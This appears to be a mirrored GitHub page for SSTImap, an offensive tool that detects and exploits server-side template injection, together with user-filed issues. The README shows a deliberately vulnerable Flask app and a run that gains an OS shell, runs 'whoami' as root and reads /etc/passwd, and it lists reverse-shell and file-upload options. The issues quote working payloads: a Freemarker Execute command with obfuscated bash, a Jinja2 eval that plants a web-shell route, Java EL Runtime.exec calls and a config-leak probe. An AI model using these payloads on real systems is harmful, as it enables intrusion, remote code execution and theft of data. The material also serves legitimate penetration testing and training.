Git Product home page Git Product logo

sstimap's Introduction

SSTImap

Version 1.2 Python 3.11 Python 3.6 GitHub GitHub last commit Maintenance

This project is based on Tplmap.

SSTImap is a penetration testing software that can check websites for Code Injection and Server-Side Template Injection vulnerabilities and exploit them, giving access to the operating system itself.

This tool was developed to be used as an interactive penetration testing tool for SSTI detection and exploitation, which allows more advanced exploitation.

Sandbox break-out techniques came from:

This tool is capable of exploiting some code context escapes and blind injection scenarios. It also supports eval()-like code injections in Python, Ruby, PHP, Java and generic unsandboxed template engines.

Differences with Tplmap

Even though this software is based on Tplmap's code, backwards compatibility is not provided.

  • Interactive mode (-i) allowing for easier exploitation and detection
  • Base language eval()-like shell (-x) or single command (-X) execution
  • Added new payloads for generic templates, as well as a way to speed up detection using
  • Added new payload for Smarty without enabled {php}{/php}. Old payload is available as Smarty_unsecure.
  • Added new payload for newer versions of Twig. Payload for older version is available as Twig_v1.
  • User-Agent can be randomly selected from a list of desktop browser agents using -A
  • SSL verification can now be enabled using --verify-ssl
  • Short versions added to many arguments
  • Some old command line arguments were changed, check -h for help
  • Code is changed to use newer python features
  • Burp Suite extension temporarily removed, as Jython doesn't support Python3

Server-Side Template Injection

This is an example of a simple website written in Python using Flask framework and Jinja2 template engine. It integrates user-supplied variable name in an unsafe way, as it is concatenated to the template string before rendering.

from flask import Flask, request, render_template_string
import os

app = Flask(__name__)

@app.route("/page")
def page():
    name = request.args.get('name', 'World')
    # SSTI VULNERABILITY:
    template = f"Hello, {name}!<br>\n" \
                "OS type: {{os}}"
    return render_template_string(template, os=os.name)

if __name__ == "__main__":
    app.run(host='0.0.0.0', port=80)

Not only this way of using templates creates XSS vulnerability, but it also allows the attacker to inject template code, that will be executed on the server, leading to SSTI.

$ curl -g 'https://www.target.com/page?name=John'
Hello John!<br>
OS type: posix
$ curl -g 'https://www.target.com/page?name={{7*7}}'
Hello 49!<br>
OS type: posix

User-supplied input should be introduced in a safe way through rendering context:

from flask import Flask, request, render_template_string
import os

app = Flask(__name__)

@app.route("/page")
def page():
    name = request.args.get('name', 'World')
    template = "Hello, {{name}}!<br>\n" \
               "OS type: {{os}}"
    return render_template_string(template, name=name, os=os.name)

if __name__ == "__main__":
    app.run(host='0.0.0.0', port=80)

Predetermined mode

SSTImap in predetermined mode is very similar to Tplmap. It is capable of detecting and exploiting SSTI vulnerabilities in multiple different templates.

After the exploitation, SSTImap can provide access to code evaluation, OS command execution and file system manipulations.

To check the URL, you can use -u argument:

$ ./sstimap.py -u https://example.com/page?name=John

    ╔══════╦══════╦═══════╗ ▀█▀
    ║ ╔════╣ ╔════╩══╗ ╔══╝═╗▀╔═
    ║ ╚════╣ ╚════╗  ║ ║    ║{║ _ __ ___   __ _ _ __
    ╚════╗ ╠════╗ ║  ║ ║    ║*║ | '_ ` _ \ / _` | '_ \
    ╔════╝ ╠════╝ ║  ║ ║    ║}║ | | | | | | (_| | |_) |
    ╚══════╩══════╝  ╚═╝    ╚╦╝ |_| |_| |_|\__,_| .__/
                             │                  | |
                                                |_|
[*] Version: 1.2.0
[*] Author: @vladko312
[*] Based on Tplmap
[!] LEGAL DISCLAIMER: Usage of SSTImap for attacking targets without prior mutual consent is illegal. 
It is the end user's responsibility to obey all applicable local, state and federal laws.
Developers assume no liability and are not responsible for any misuse or damage caused by this program


[*] Testing if GET parameter 'name' is injectable   
[*] Smarty plugin is testing rendering with tag '*'
...
[*] Jinja2 plugin is testing rendering with tag '{{*}}'
[+] Jinja2 plugin has confirmed injection with tag '{{*}}'
[+] SSTImap identified the following injection point:

  GET parameter: name
  Engine: Jinja2
  Injection: {{*}}
  Context: text
  OS: posix-linux
  Technique: render
  Capabilities:

    Shell command execution: ok
    Bind and reverse shell: ok
    File write: ok
    File read: ok
    Code evaluation: ok, python code

[+] Rerun SSTImap providing one of the following options:
    --os-shell                   Prompt for an interactive operating system shell
    --os-cmd                     Execute an operating system command.
    --eval-shell                 Prompt for an interactive shell on the template engine base language.
    --eval-cmd                   Evaluate code in the template engine base language.
    --tpl-shell                  Prompt for an interactive shell on the template engine.
    --tpl-cmd                    Inject code in the template engine.
    --bind-shell PORT            Connect to a shell bind to a target port
    --reverse-shell HOST PORT    Send a shell back to the attacker's port
    --upload LOCAL REMOTE        Upload files to the server
    --download REMOTE LOCAL      Download remote files

Use --os-shell option to launch a pseudo-terminal on the target.

$ ./sstimap.py -u https://example.com/page?name=John --os-shell

    ╔══════╦══════╦═══════╗ ▀█▀
    ║ ╔════╣ ╔════╩══╗ ╔══╝═╗▀╔═
    ║ ╚════╣ ╚════╗  ║ ║    ║{║ _ __ ___   __ _ _ __
    ╚════╗ ╠════╗ ║  ║ ║    ║*║ | '_ ` _ \ / _` | '_ \
    ╔════╝ ╠════╝ ║  ║ ║    ║}║ | | | | | | (_| | |_) |
    ╚══════╩══════╝  ╚═╝    ╚╦╝ |_| |_| |_|\__,_| .__/
                             │                  | |
                                                |_|
[*] Version: 1.2.0
[*] Author: @vladko312
[*] Based on Tplmap
[!] LEGAL DISCLAIMER: Usage of SSTImap for attacking targets without prior mutual consent is illegal. 
It is the end user's responsibility to obey all applicable local, state and federal laws.
Developers assume no liability and are not responsible for any misuse or damage caused by this program


[*] Testing if GET parameter 'name' is injectable
[*] Smarty plugin is testing rendering with tag '*'
...
[*] Jinja2 plugin is testing rendering with tag '{{*}}'
[+] Jinja2 plugin has confirmed injection with tag '{{*}}'
[+] SSTImap identified the following injection point:

  GET parameter: name
  Engine: Jinja2
  Injection: {{*}}
  Context: text
  OS: posix-linux
  Technique: render
  Capabilities:

    Shell command execution: ok
    Bind and reverse shell: ok
    File write: ok
    File read: ok
    Code evaluation: ok, python code

[+] Run commands on the operating system.
posix-linux $ whoami
root
posix-linux $ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin

To get a full list of options, use --help argument.

Interactive mode

In interactive mode, commands are used to interact with SSTImap. To enter interactive mode, you can use -i argument. All other arguments, except for the ones regarding exploitation payloads, will be used as initial values for settings.

Some commands are used to alter settings between test runs. To run a test, target URL must be supplied via initial -u argument or url command. After that, you can use run command to check URL for SSTI.

If SSTI was found, commands can be used to start the exploitation. You can get the same exploitation capabilities, as in the predetermined mode, but you can use Ctrl+C to abort them without stopping a program.

By the way, test results are valid until target url is changed, so you can easily switch between exploitation methods without running detection test every time.

To get a full list of interactive commands, use command help in interactive mode.

Supported template engines

SSTImap supports multiple template engines and eval()-like injections.

New payloads are welcome in PRs.

Engine RCE Blind Code evaluation File read File write
Mako Python
Cheetah Python
Jinja2 Python
Tornado Python
Python (code eval) Python
Python-based generic templates Python
Nunjucks JavaScript
Pug JavaScript
doT JavaScript
Marko JavaScript
Dust (<= [email protected]) JavaScript
EJS JavaScript
JavaScript (code eval) JavaScript
JavaScript-based generic templates JavaScript
Slim Ruby
ERB Ruby
Ruby (code eval) Ruby
Smarty (unsecured) PHP
Smarty (secured) PHP
Twig (<=1.19) PHP
Twig (>=2.12 <2.14.11; >=3.0 <3.3.8) PHP
PHP (code eval) PHP
PHP-based generic templates PHP
Freemarker Java
Velocity Java
Twig (>1.19 <2.0) × × × × ×
Dust (> [email protected]) × × × × ×

Burp Suite Plugin

Currently, Burp Suite only works with Jython as a way to execute python2. Python3 functionality is not provided.

Future plans

If you plan to contribute something big from this list, inform me to avoid working on the same thing as me or other contributors.

  • Add more payloads for different engines
  • Parse raw HTTP request from file
  • Variable dumping functionality
  • Blind/side-channel value extraction
  • Better documentation (or at least any documentation)
  • Short arguments as interactive commands?
  • JSON/plaintext API modes for scripting integrations?
  • Argument to remove escape codes?
  • Better integration for Python scripts
  • Multipart POST data type support
  • Modules for more customisable requests (second order, reset, non-HTTP)
  • Payload processing scripts
  • Better config functionality
  • Saving found vulnerabilities
  • Reports in HTML or other format
  • Multiline language evaluation?
  • Avoid platform dependency in payloads
  • Update NodeJS payloads as process.mainModule may be undefined
  • Spider/crawler automation (by fantesykikachu)
  • Automatic languages and engines import
  • More POST data types support
  • Make template and base language evaluation functionality more uniform

sstimap's People

Contributors

vladko312 avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

sstimap's Issues

Feature request: auto leak information

This feature will work like {{config|attr(request.args.a)}}&a=__init__ that leaking information like token, etc. Btw don't forget for the obfuscator

In my case if the web only be injectable with POST data, I need to change from {{config|attr(request.args.a)}}&a=__init__ to {{config|attr(request.args.a)}} and change the url path to http://<IP>/?a=__init__

False Positive

1st time
python3 sstimap.py -u https://target.com/path?country=mc

[*] Freemarker plugin is testing rendering with tag '*'                                                                                                                              
[*] Freemarker plugin is testing }* code context escape with 6 variations                                                                                                            
[*] Freemarker plugin is testing blind injection                                                                                                                                     
[+] Freemarker plugin has confirmed blind injection
[+] SSTImap identified the following injection point:                                                                                                                                                                                                                                                                                                      
  GET parameter: country                                                                                                                                                             
  Engine: Freemarker                                                                                                                                                                 
  Injection: *                                                                                                                                                                       
  Context: text                                                                                                                                                                      
  OS: undetected                                                                                                                                                                     
  Technique: blind
  Capabilities:                                                                              -                                                                                        
    Shell command execution: ok (blind)                                                                                                                                              
    Bind and reverse shell: ok                                                                                                                                                       
    File write: ok (blind)                                                                                                                                                           
    File read: no                                                                                                                                                                        
	Code evaluation: no         

[+] Rerun SSTImap providing one of the following options:	

2nd time
python3 sstimap.py -u https://target.com/path?country=mc --os-shell

[*] Twig plugin is testing rendering with tag '*'                                                                                                                                    
[*] Twig plugin is testing }}*{{1 code context escape with 6 variations                                                                                                              
[*] Twig plugin is testing  %}* code context escape with 6 variations                                                                                                                
[*] Twig plugin is testing blind injection                                                                                                                                           
[*] Twig plugin is testing }}*{{1 code context escape with 6 variations                                                                                                              
[+] Twig plugin has confirmed blind injection                                                                                                                                        
[+] SSTImap identified the following injection point:                                                                                                                                                                                                                                                                                                                       
	GET parameter: country                                                                                                                                                               
	Engine: Twig                                                                                                                                                                         
	Injection: 1')}}*{{1                                                                                                                                                                 
	Context: code                                                                                                                                                                        
	OS: undetected                                                                                                                                                                       
	Technique: blind                                                                                                                                                                     
	Capabilities:   
	
		Shell command execution: no                                                                                                                                                          
		Bind and reverse shell: no                                                                                                                                                           
		File write: no                                                                                                                                                                       
		File read: no                                                                                                                                                                        
		Code evaluation: ok, php code (blind)                                                                                                                                                                                                                                                                                                                                 
[-] No system command execution capabilities have been detected on the target. 

SSTImap should test simple payload, otherwise may return false positive result

Hi brother,
I did test SSTImap on this workshop, at 25_template_freemarker

https://gosecure.github.io/template-injection-workshop/

When I use simple payload, it works

<#assign ex="freemarker.template.utility.Execute"?new()>${ ex("id")}

But when the tool use its payload, it does not work

${7670795914?c}<#assign ex="freemarker.template.utility.Execute"?new()>${ ex("bash -c {eval,$({tr,/+,_-}<<<ZWNobyBhMA==|{base64,--decode})}") }${7841412055?c}

The site returns

Template blocked: Cannot run program "bash": error=2, No such file or directory ---- FTL stack trace ("~" means nesting-related): - Failed at: ${ex("bash -c {eval,$({tr,/+,_-}\l\l\... [in template "tpl" at line 1, column 72] ----

Because of this, the tool also return false positive result

┌──(root㉿kali)-[/home/kali/Desktop/SSTImap]
└─# python3 sstimap.py -u "http://localhost:8025/admin/edit_page/1" -d "_csrf=ddcf50d0-b5a0-43f5-95dd-351495abc31b&title=Welcome+Page&templateCode=*&action=test" -C "JSESSIONID=182F5156C0D7E1B0A0E72D87D3D4F845" --proxy http://localhost:8080 -l 5 -e Freemarker

                                                          
[*] Version: 1.1.4
[*] Author: @vladko312
[*] Based on Tplmap
[!] LEGAL DISCLAIMER: Usage of SSTImap for attacking targets without prior mutual consent is illegal.
It is the end user's responsibility to obey all applicable local, state and federal laws.
Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] Loaded plugins by categories: languages: 5; legacy_engines: 1; engines: 16

[*] Scanning url: http://localhost:8025/admin/edit_page/1
[*] Testing if POST parameter 'templateCode' is injectable
[*] Freemarker plugin is testing rendering with tag '*'
[+] Freemarker plugin has confirmed injection with tag '*'
[+] SSTImap identified the following injection point:

  POST parameter: templateCode
  Engine: Freemarker
  Injection: *
  Context: text
  OS: undetected
  Technique: render
  Capabilities:

    Shell command execution: no
    Bind and reverse shell: no
    File write: no
    File read: no
    Code evaluation: no

[+] Rerun SSTImap providing one of the following options:
    --tpl-shell                  Prompt for an interactive shell on the template engine.
    --tpl-cmd                    Inject code in the template engine.

Burp extension

In the readme you are talking about using this project as an extension in burp how to do so pls ?

Parameter support issues.

SSTImap lacks '-p' (or equivalent) switch for specifying injection parameter.

Also it would be nice to have some improvement in case of multiple parameters like here:

[*] Javascript plugin is testing rendering with tag '*'
[*] Javascript plugin is testing ;*// code context escape with 6 variations
[*] Javascript plugin is testing blind injection
[*] Javascript plugin is testing ;*// code context escape with 6 variations
[*] Testing if POST parameter 'csrf' is injectable
[*] Ejs plugin is testing rendering with tag '*'
[*] Ejs plugin is testing %>*<%# code context escape with 6 variations
[*] Ejs plugin is testing blind injection
[*] Ejs plugin is testing %>*<%# code context escape with 6 variations
[*] Freemarker plugin is testing rendering with tag '*'
[*] Freemarker plugin is testing }* code context escape with 6 va

It's hard to find a line where it switches to new parameter. Even change to something like this would help a lot:

[*] Javascript plugin is testing rendering with tag '*'
[*] Javascript plugin is testing ;*// code context escape with 6 variations
[*] Javascript plugin is testing blind injection
[*] Javascript plugin is testing ;*// code context escape with 6 variations

[*] Testing if POST parameter 'csrf' is injectable
[*] Ejs plugin is testing rendering with tag '*'
[*] Ejs plugin is testing %>*<%# code context escape with 6 variations
[*] Ejs plugin is testing blind injection
[*] Ejs plugin is testing %>*<%# code context escape with 6 variations
[*] Freemarker plugin is testing rendering with tag '*'
[*] Freemarker plugin is testing }* code context escape with 6 va

Maybe even a different color of the "Testing..." line...

Toggle enable/disable url encoding on POST body web request

Hi! Your tool is awesome. I was playing along with it and it is very good on GET web request. And i think it will be pretty awesome to have an option of not URL encoding the POST web request.

URL encoded
url-encoded.png

URl decoded
url-decoded.png

This one here is out of topic but does this tool also support expression language like on swisskyrepo's SSTI EL code execution?

// Method using Reflection & Invoke

${"".getClass().forName("java.lang.Runtime").getMethods()[6].invoke("".getClass().forName("java.lang.Runtime")).exec("calc.exe")}
${''.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(''.getClass().forName('java.lang.Runtime')).exec('whoami')}

@

Failed to scan the old version of Flask framework (v2.0.3)

Hi brother,
when I scanned the old version of Flask framework (v2.0.3), it was not successful
python sstimap.py -u "http://127.0.0.1:5000/?name=*" -l 5 -A -e Jinja2
In fact, the payload is
{{url_for.__globals__['__builtins__']['eval']("app.add_url_rule('/shell', 'shell', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read())",{'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],'app':url_for.__globals__['current_app']})}}

When I upgraded to v3.0.3, I scanned again and it worked
image
Regards!

Suggest have option to choose the engine

Hi brother,
Here is the ideal. If you know a website is built with Python, you currently have to manually specify each template engine it uses with the -e option, like -e engine_name, I did test try to include multiple engines name but does not work -e engine_name1,engine_name2,engine_name3. Besides that, it can be a hassle because you need to remember and list all the relevant template engines yourself.

It would be much simpler if there was a feature allowing you to select the platform directly, such as --platform python. With this, the tool would automatically know to include all the common Python template engines like Mako, Python, Cheetah, Jinja2, and Tornado, without you having to list each one.

Regards!

Feature for PUT method, data sent in JSON format, and has verbose

As the title does, I did try run

python3 sstimap.py -u "http://api.example.com" -m PUT -d "{\"username\":\"david",\"content\":\"*\"}" 

or

python3 sstimap.py -u "http://api.example.com" -m PUT -d "username=david&content=*" 

But none of them work. The issue might arise from the current version not supporting the PUT method, or not accepting data in JSON format, or am I using the tool incorrectly?

Beside that, another case successfully injected SSTI payload. In the result says File write: ok. So this means the tool can upload file on Target's server or the tools can run payload that can write file?

I also hope in the future the result can show which payloads are used during the scan, which payloads work.

Regards!

Error: 'list' object has no attribute 'decode' - when using POST data

_parse_post tries to call urllib.parse_qs() with the provided POST data as a list.

Reproduce

python3 sstimap.py -m POST -u 'http://127.0.0.1/path' --data 'param=value'

Log

Python 3.10.5

[!] [sstimap] Error: 'list' object has no attribute 'decode'
Traceback (most recent call last):
  File "/root/Desktop/sstimap/sstimap.py", line 41, in <module>
    raise e
  File "/root/Desktop/sstimap/sstimap.py", line 34, in <module>
    main()
  File "/root/Desktop/sstimap/sstimap.py", line 25, in main
    checks.check_template_injection(Channel(args))
  File "/root/Desktop/sstimap/core/channel.py", line 30, in __init__
    self._parse_post()
  File "/root/Desktop/sstimap/core/channel.py", line 89, in _parse_post
    params_dict_list = parse.parse_qs(self.args.get('data'), keep_blank_values=True)  # <-- here
  File "/usr/lib/python3.10/urllib/parse.py", line 703, in parse_qs
    pairs = parse_qsl(qs, keep_blank_values, strict_parsing,
  File "/usr/lib/python3.10/urllib/parse.py", line 743, in parse_qsl
    qs, _coerce_result = _coerce_args(qs)
  File "/usr/lib/python3.10/urllib/parse.py", line 128, in _coerce_args
    return _decode_args(args) + (_encode_result,)
  File "/usr/lib/python3.10/urllib/parse.py", line 112, in _decode_args
    return tuple(x.decode(encoding, errors) if x else '' for x in args)
  File "/usr/lib/python3.10/urllib/parse.py", line 112, in <genexpr>
    return tuple(x.decode(encoding, errors) if x else '' for x in args)
AttributeError: 'list' object has no attribute 'decode'

Workaround

If only one POST parameter is specified, you can use the following simple workaround:

diff --git a/core/channel.py b/core/channel.py
index fd7bb52..3568660 100644
--- a/core/channel.py
+++ b/core/channel.py
@@ -86,7 +86,8 @@ class Channel:
 
     def _parse_post(self, all_injectable=False):
         if self.args.get('data'):
-            params_dict_list = parse.parse_qs(self.args.get('data'), keep_blank_values=True)
+            print(self.args.get('data'))
+            params_dict_list = parse.parse_qs(self.args.get('data')[0], keep_blank_values=True)
             for param, value_list in params_dict_list.items():
                 self.post_params[param] = value_list
                 if self.tag in param:

SSTImap can't be run outside of it's folder

If I try to run SSTImap by fullpath or having it in PATH I get this error:

 ~/foo/bar/SSTImap-1.1/sstimap.py 

    ╔══════╦══════╦═══════╗ ▀█▀
    ║ ╔════╣ ╔════╩══╗ ╔══╝═╗▀╔═
    ║ ╚════╣ ╚════╗  ║ ║    ║{║  _ __ ___   __ _ _ __
    ╚════╗ ╠════╗ ║  ║ ║    ║*║ | '_ ` _ \ / _` | '_ \
    ╔════╝ ╠════╝ ║  ║ ║    ║}║ | | | | | | (_| | |_) |
    ╚══════╩══════╝  ╚═╝    ╚╦╝ |_| |_| |_|\__,_| .__/
                             │                  | |
                                                |_|
[*] Version: 1.1.0
[*] Author: @vladko312
[*] Based on Tplmap
[!] LEGAL DISCLAIMER: Usage of SSTImap for attacking targets without prior mutual consent is illegal.
It is the end user's responsibility to obey all applicable local, state and federal laws.
Developers assume no liability and are not responsible for any misuse or damage caused by this program
Traceback (most recent call last):
  File "~/foo/bar/SSTImap-1.1/sstimap.py", line 82, in <module>
    load_plugins()
  File "~/foo/bar/SSTImap-1.1/sstimap.py", line 71, in load_plugins
    groups = os.scandir("plugins")
FileNotFoundError: [Errno 2] No such file or directory: 'plugins'

Feature Request: Improve Logging

For those that do a lot of scanning it, and if #6 is done; it might be worth while improving logging of identified vulnerable parameters. I am preferential to the format used by sqlmap, but any format that store enough information to reproduce the vulnerability is good enough for me.

Also I might be willing to do the work myself, but I wanted to known what format was preferred.

How to tell SSTImap test form a form WebKit?

Hi, assume I have this POST request

POST / HTTP/1.1]
Host: example.com
Content-Length: 1092
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzZgoVbc9kBDZDmAs
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Connection: close

------WebKitFormBoundaryzZgoVbc9kBDZDmAs
Content-Disposition: form-data; name="CSRF_TOKEN"

ns0h_eslIv0RNFTCJLEK4puKCu-QaMVmWFJCVG8ZWnP0LhReRUtGI_j6DJ-TQGelTkYFgGzYcInK-W6p4Ru9IxIWchcidxNekB9xFhR6FHw=
-----WebKitFormBoundaryzZgoVbc9kBDZDmAs
Content-Disposition: form-data; name="action"

sprout-forms/entries/save-entry
------WebKitFormBoundaryzZgoVbc9kBDZDmAs
Content-Disposition: form-data; name="handle"

contact
------WebKitFormBoundaryzZgoVbc9kBDZDmAs
Content-Disposition: form-data; name="fields[email]"

[email protected]
------WebKitFormBoundaryzZgoVbc9kBDZDmAs
Content-Disposition: form-data; name="fields[phone][country]"

US
------WebKitFormBoundaryzZgoVbc9kBDZDmAs
Content-Disposition: form-data; name="fields[phone][phone]"

(201) 555-0123
------WebKitFormBoundaryzZgoVbc9kBDZDmAs
Content-Disposition: form-data; name="fields[message]"

test
------WebKitFormBoundaryzZgoVbc9kBDZDmAs
Content-Disposition: form-data; name="alojs01dca85956cc7cf638dda2c9642df2fd"

alojs01dca85956cc7cf638dda2c9642df2fd
------WebKitFormBoundaryzZgoVbc9kBDZDmAs--

How I can tell SSTImap test in from the input of field of Webkit form? I did try to use flag --load-form but it does not work

Regards!

No second order support.

I will use PortSwigger's "Basic server-side template injection (code context)" task as an example but I have encountered same issue elsewhere.

Currently there is no way to specify a second order url however it's pretty simple to implement. I didn't add specific switch but in code I just had add two lines.
I used this command line:
./sstimap.py -u "https://0a70002e03773a3d81129428007b00eb.web-security-academy.net/my-account/change-blog-post-author-display" -d "blog-post-author-display=user.first_name&csrf=xGbHC88kaLt5KmNUTq7zw3wZ3fMDDAGx" --cookie 'session=Sk45UsfrkQRg3siVdnHxV8uBhDFG20gJ' -A -e Tornado

And changed those lines:

        second_order_url="https://0a70002e03773a3d81129428007b00eb.web-security-academy.net/post?postId=6"
        try:
            result = requests.request(method=self.http_method, url=url_params, params=get_params, data=post_params,
                                      headers=header_params, proxies=self.proxies, verify=self.args.get('verify_ssl'), allow_redirects=False).text
            result = requests.get(second_order_url,cookies=cookies,proxies=self.proxies,verify=False).text

simple if that checks if second_order_url is in self.args should suffice IMHO.

ModuleNotFoundError: No module named 'mechanize'

`pip3.11 install -r requirements.txt
Collecting argparse~=1.4.0
Using cached argparse-1.4.0-py2.py3-none-any.whl (23 kB)
Collecting requests~=2.27.1
Using cached requests-2.27.1-py2.py3-none-any.whl (63 kB)
Requirement already satisfied: urllib3~=1.26.9 in /usr/local/lib/python3.11/site-packages (from -r requirements.txt (line 3)) (1.26.16)
Collecting mechanize~=0.4.8
Using cached mechanize-0.4.8-py2.py3-none-any.whl (110 kB)
Collecting html5lib~=1.1
Using cached html5lib-1.1-py2.py3-none-any.whl (112 kB)
Requirement already satisfied: certifi>=2017.4.17 in /usr/local/lib/python3.11/site-packages (from requests~=2.27.1->-r requirements.txt (line 2)) (2022.12.7)
Collecting charset-normalizer~=2.0.0
Using cached charset_normalizer-2.0.12-py3-none-any.whl (39 kB)
Requirement already satisfied: idna<4,>=2.5 in /usr/local/lib/python3.11/site-packages (from requests~=2.27.1->-r requirements.txt (line 2)) (2.8)
Requirement already satisfied: six>=1.9 in /usr/local/lib/python3.11/site-packages (from html5lib~=1.1->-r requirements.txt (line 5)) (1.16.0)
Collecting webencodings
Using cached webencodings-0.5.1-py2.py3-none-any.whl (11 kB)
Installing collected packages: webencodings, argparse, html5lib, charset-normalizer, requests, mechanize
Attempting uninstall: charset-normalizer
Found existing installation: charset-normalizer 3.1.0
Uninstalling charset-normalizer-3.1.0:
Successfully uninstalled charset-normalizer-3.1.0
Attempting uninstall: requests
Found existing installation: requests 2.31.0
Uninstalling requests-2.31.0:
Successfully uninstalled requests-2.31.0
Successfully installed argparse-1.4.0 charset-normalizer-2.0.12 html5lib-1.1 mechanize-0.4.8 requests-2.27.1 webencodings-0.5.1

[notice] A new release of pip is available: 23.0.1 -> 23.2.1
[notice] To update, run: /usr/local/opt/[email protected]/bin/python3.11 -m pip install --upgrade pip
[email protected]@/Users/macpro/SSTImap {SSTImap $ python3.11 sstimap.py
Traceback (most recent call last):
File "/Users/macpro/SSTImap/sstimap.py", line 10, in
from utils import cliparser
File "/Users/macpro/SSTImap/utils/cliparser.py", line 2, in
from sstimap import version
File "/Users/macpro/SSTImap/sstimap.py", line 11, in
from core import checks
File "/Users/macpro/SSTImap/core/checks.py", line 10, in
from utils.crawler import crawl, find_forms
File "/Users/macpro/SSTImap/utils/crawler.py", line 13, in
from mechanize._form import parse_forms
ModuleNotFoundError: No module named 'mechanize'`

Feature Request: Add Crawler

One feature that tplmap always lacked is a web crawler. Basing one off the sqlmap crawler would also allowing using it's form identification method.

Also I might be willing to do the work myself, but I wanted to known what others thought of it first.

[sstimap] Error: 'InteractiveShell' object has no attribute 'channel'

Hello. Getting the following for eval and eval_code. Tested on different versions of kali.

SSTImap (xxx.xxx.com)> eval_code phpinfo()
[!] [sstimap] Error: 'InteractiveShell' object has no attribute 'channel'
Traceback (most recent call last):
File "/home/kali/SSTImap/sstimap.py", line 58, in
raise e
File "/home/kali/SSTImap/sstimap.py", line 51, in
main()
File "/home/kali/SSTImap/sstimap.py", line 28, in main
InteractiveShell(args).cmdloop()
File "/usr/lib/python3.9/cmd.py", line 138, in cmdloop
stop = self.onecmd(line)
File "/usr/lib/python3.9/cmd.py", line 217, in onecmd
return func(arg)
File "/home/kali/SSTImap/core/interactive.py", line 627, in do_eval_code
if self.channel.data.get('evaluate_blind'):
AttributeError: 'InteractiveShell' object has no attribute 'channel'
kali@kali:~/SSTImap$

Cookie isn't set on redirects

I will use PortSwigger's "Basic server-side template injection (code context)" task as an example but I have encountered same issue elsewhere.

SSTImap makes request:

POST /my-account/change-blog-post-author-display HTTP/2
Host: 0a70002e03773a3d81129428007b00eb.web-security-academy.net
User-Agent: Opera/9.80 (Windows NT 6.0) Presto/2.12.388 Version/12.14
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Cookie: session=Sk45UsfrkQRg3siVdnHxV8uBhDFG20gJ
Content-Length: 205
Content-Type: application/x-www-form-urlencoded

blog-post-author-display=1%22%29%25%7D%7B%7B6546555976%7D%7D%7B%7B%27nN%27%7D%7D%7B%25+raw+%27nN%27.join%28%27DB%27%29+%25%7D%7B%7B%27DB%27%7D%7D%7B%7B9359880974%7D%7D&csrf=xGbHC88kaLt5KmNUTq7zw3wZ3fMDDAGx

It gets redirect:

HTTP/2 302 Found
Location: /my-account
X-Frame-Options: SAMEORIGIN
Content-Length: 0

It follows without cookie:

GET /my-account HTTP/2
Host: 0a70002e03773a3d81129428007b00eb.web-security-academy.net
User-Agent: Opera/9.80 (Windows NT 6.0) Presto/2.12.388 Version/12.14
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

I understand this happens because cookies are treated "as headers" however if I don't want to inject cookie there should be an option to treat them as regular cookies instead.

Handlebars issues.

I was testing SSTImap with PortSwiggers Server-side template injection in an unknown language with a documented exploit (https://portswigger.net/web-security/server-side-template-injection/exploiting/lab-server-side-template-injection-in-an-unknown-language-with-a-documented-exploit) lab and noticed some issues. First of all Handlebars engine was detected as Dust but it might because both are nodejs based. Second issue there was no cmd/shell support for this plugin. I tried using tpl-shell but only got some exception.

Suggest some features such as reload, keep testing

Hi brother,

I would like to suggest some features for the tools as follow

  1. Has ability to reload target URL after injections (Ex: --url-reload ), cause in some forms after submitting, it will generate the new CSRF token which will cause false result
  2. Has ability to keep testing all the payload when set -level 5. Normally, if the first 3 payloads pass, the tool will stop. I cannot know what payloads are using at level 5 (for learning purpose). The only way is try to make the request goes wrong, then the tool will throw all payload
  3. Second order. This idea has already been suggested by someone, I'm really looking forward to this ^^

Regards!

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.